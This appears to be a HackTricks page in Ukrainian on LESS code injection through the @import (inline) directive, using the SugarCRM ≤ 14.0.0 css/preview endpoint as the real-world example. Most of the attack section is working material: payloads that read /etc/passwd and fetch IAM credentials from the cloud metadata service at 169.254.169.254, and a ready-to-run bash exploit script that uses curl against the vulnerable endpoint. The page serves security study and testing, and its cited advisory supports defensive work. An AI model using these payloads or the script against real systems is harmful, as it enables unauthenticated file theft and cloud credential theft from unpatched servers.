LESS Code Injection leading to SSRF & Local File Read
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
LESS — популярний CSS препроцесор, який додає змінні, mixins, функції та потужну директиву @import. Під час компіляції движок LESS завантажує ресурси, згадані в @import і вбудовує (“inline”) їхній вміст у кінцевий CSS, коли використовується опція (inline).
Коли застосунок конкатенує керований користувачем ввід у рядок, який потім парситься компілятором LESS, атакуючий може впровадити довільний LESS код. Зловживаючи @import (inline), атакуючий може примусити сервер отримати:
- Локальні файли через протокол
file://(витік інформації / Local File Inclusion). - Віддалені ресурси у внутрішніх мережах або хмарних службах метаданих (SSRF).
Ця техніка була помічена в реальних продуктах, таких як SugarCRM ≤ 14.0.0 (ендпойнт /rest/v10/css/preview).
Експлуатація
- Знайдіть параметр, який безпосередньо вбудовується в рядок стилю, що обробляється движком LESS (наприклад
?lm=у SugarCRM). - Закрийте поточну інструкцію і вставте нові директиви. Найпоширеніші примітиви:
;– завершує попереднє оголошення.}– закриває попередній блок (якщо потрібно).
- Використайте
@import (inline) '<URL>';для читання довільних ресурсів. - За бажанням вставте маркер (
data:URI) після import, щоб спростити витяг завантаженого вмісту зі скомпільованого CSS.
Local File Read
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
Вміст файлу /etc/passwd з’явиться в HTTP-відповіді безпосередньо перед маркером @@END@@.
SSRF – метадані хмари
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
Автоматизований PoC (приклад SugarCRM)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
Приклади з реального світу
| Продукт | Уразливий Endpoint | Наслідки |
|---|---|---|
| SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | Unauthenticated SSRF & local file read |
Посилання
- SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability
- SugarCRM Security Advisory SA-2024-059
- CVE-2024-58258
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
HackTricks

